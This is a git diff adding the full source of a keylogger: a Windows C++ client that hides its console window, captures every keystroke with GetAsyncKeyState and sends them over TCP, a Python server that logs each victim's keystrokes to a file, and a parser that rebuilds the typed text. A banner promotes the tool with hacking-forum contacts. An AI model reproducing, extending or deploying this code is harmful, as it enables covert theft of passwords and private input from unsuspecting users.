diff options
| -rw-r--r-- | client/kl.cpp | 134 | ||||
| -rw-r--r-- | server/ParserMinimal.py | 114 | ||||
| -rw-r--r-- | server/Server.py | 36 |
3 files changed, 284 insertions, 0 deletions
diff --git a/client/kl.cpp b/client/kl.cpp new file mode 100644 index 0000000..af125b9 --- /dev/null +++ b/client/kl.cpp @@ -0,0 +1,134 @@ +#define WIN32_LEAN_AND_MEAN + +//Needed to keylogging +#include <windows.h> +#include <winuser.h> + +//Needed for networking +#include <winsock2.h> +#include <ws2tcpip.h> +#include <stdlib.h> +#include <stdio.h> + +#pragma comment (lib, "Ws2_32.lib") +#pragma comment (lib, "Mswsock.lib") +#pragma comment (lib, "AdvApi32.lib") + +#define DEFAULT_BUFLEN 128 +#define DEFAULT_PORT "80" +#define DEFAULT_HOST "127.0.0.1" + +int Save (char key, int sock) +{ + if ( (key == 1) || (key == 2) ) + return 0; + char output[100]; + switch(key){ + case 8 : strcat(output,"[B]"); break; //Backspace + case VK_RETURN : strcat(output,"[E]"); break; //Enter + case VK_SPACE : strcat(output,"[S]"); break; // Space + case VK_CLEAR : strcat(output,"[C]"); break; //Clear + case VK_TAB : strcat(output,"[T]");break; //Tab + case VK_SHIFT : strcat(output,"[H]");break; // Shift + case VK_CONTROL: strcat(output,"[O]");break; // Control + case VK_ESCAPE : strcat(output,"[A]");break; // Escape + case VK_END : strcat(output,"[N]");break; // End + case VK_HOME : strcat(output,"[M]");break; // Home + case VK_LEFT : strcat(output,"[L]");break; // Left + case VK_RIGHT : strcat(output,"[R]");break; // Right + case VK_DOWN : strcat(output,"[D]");break; // Down + case VK_UP : strcat(output,"[U]");break; // Up + case 190 : + case 110 : strcat(output,"."); break; //Keypad . or keyboard . + default : strcat(output,"[ ]"); output[3] = key; + } + char *const allout = output; + int result; + result = send( sock,allout,5,0); + int i; + for(i=0;i<99;i++) + { + output[i]='\0'; + } + return 0; +} + +void Stealth() +{ + HWND Stealth; + AllocConsole(); + Stealth = FindWindowA("ConsoleWindowClass", NULL); + ShowWindow(Stealth,0); +} + +int __cdecl main() +{ + WSADATA wsaData; + SOCKET ConnectSocket = INVALID_SOCKET; + struct addrinfo *result = NULL, + *ptr = NULL, + hints; + char *sendbuf = "this is a test"; + char recvbuf[DEFAULT_BUFLEN]; + int iResult; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2,2), &wsaData); + if (iResult != 0) { + return 1; + } + ZeroMemory( &hints, sizeof(hints) ); + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + // Resolve the server address and port + iResult = getaddrinfo(DEFAULT_HOST, DEFAULT_PORT, &hints, &result); + if ( iResult != 0 ) { + WSACleanup(); + return 1; + } + // Attempt to connect to an address until one succeeds + for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) { + + // Create a SOCKET for connecting to server + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, + ptr->ai_protocol); + if (ConnectSocket == INVALID_SOCKET) { + WSACleanup(); + return 1; + } + + // Connect to server. + iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + if (iResult == SOCKET_ERROR) { + closesocket(ConnectSocket); + ConnectSocket = INVALID_SOCKET; + continue; + } + break; + } + + freeaddrinfo(result); + + if (ConnectSocket == INVALID_SOCKET) { + WSACleanup(); + return 1; + } + Stealth(); + int i; + while (true) + { + for(i=8; i <= 190; i++) + { + if (GetAsyncKeyState(i) == -32767) + Save (i,ConnectSocket); + } + } + + closesocket(ConnectSocket); + while(true){} +return 0; +} + diff --git a/server/ParserMinimal.py b/server/ParserMinimal.py new file mode 100644 index 0000000..eadc857 --- /dev/null +++ b/server/ParserMinimal.py @@ -0,0 +1,114 @@ +import os +import sys +""" +/---Y E T A N O T H E R K E Y L O G G E R---\ +| | +|B Y : 3 S I D E D S Q U A R E | +| | +|V I S I T S I N I S T E R . L Y | +| | +|C O N T A C T | +| | +|I R C . R I Z O N . N E T # S i n i s t e r l y| +| | +|S K Y P E b b b l i t z | +\-----------------------------------------------/ +""" +class parser(): + logs = {} + pruneAll = False + fname = "" + def prunefile(self,file): + if not self.pruneAll: + print("A file of size 0 has been detected, would you like to delete it?\n1 : Yes\n2 : No\n3 : Yes to all") + ans = input() + if ans == "1" or ans == "3": + os.remove("./logs/"+file) + self.pruneAll = ans == "3" + + def showfile(self,data): + output = list() + pointer = 0 + chars = data.split("\x00") + for char in chars: + output.append(" ") + if char == "[B]": #backspace + pointer -= 1 + elif char == "[E]": #enter + output[pointer] = "\n" + elif char == "[S]": #space + output[pointer] = " " + elif char == "[C]": #clear + ##Wtf does this do? + pass + elif char == "[T]": #tab + output[pointer] = "\t" + elif char == "[H]": #shift + pass + elif char == "[O]": #control + pass + elif char == "[A]": #escape + pass + elif char == "[N]": #end + pass + elif char == "[M]": #home + pass + elif char == "[M]": #left + pass + elif char == "[M]": #right + pass + elif char == "[M]": #down + pass + elif char == "[M]": #up + pass + elif char == "": + pass + else: + try: + output[pointer] = char[2] + except: + pass + pointer += 1 + string = "" + for bit in output: + string += bit + print(string) + print("Type enter to exit, or \"save\" to save the above in /logs/parsed/") + c = input() + if c == "save": + f = open("./logs/parsed/" + self.fname + ".txt",'w') + f.write(string) + f.close() + else: + pass + + def __init__(self): + for root,dirs,files in os.walk("./logs/"): + x = 0 + for file in files: + if os.path.getsize("./logs/"+file) < 1: + self.prunefile(file) + else: + self.logs[x] = file + x += 1 + + print("Select a log file to view:") + x = 0 + while(x < len(self.logs)): + print(str(x) + " : " + self.logs[x]) + x += 1 + file = None + while(file == None): + file = int(input()) + try: + self.logs[file] + except: + file = None + print("Bad file choice, choose again:") + + filetoview = self.logs[file] + self.fname = filetoview + f = open("./logs/" + filetoview,'r') + self.showfile(f.read()) + +p = parser() diff --git a/server/Server.py b/server/Server.py new file mode 100644 index 0000000..a7be5c1 --- /dev/null +++ b/server/Server.py @@ -0,0 +1,36 @@ +import os +import sys +import time +import socket +from threading import Thread + +HOST = '' +PORT = 80 + +Users = {} + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind((HOST,PORT)) +x = 0 + +#The thread that listens and writes to file +def conCurr(conn,addr): + print("Starting thread for address: " + str(addr)) + f = open("./logs/" + str(addr).replace(".","_") + ".txt",'a') + while(True): + try: + data = conn.recv(5) + except: + f.close() + print("Client disconnected.") + return + data = data.decode('UTF-8','ignore') + data = ''.join(data.split()) + f.write(data) + +while(True): + if(True): + s.listen(1) + conn,addr = s.accept() + thre = Thread(target = conCurr, args=(conn,addr,)).start() + x = x+1 |
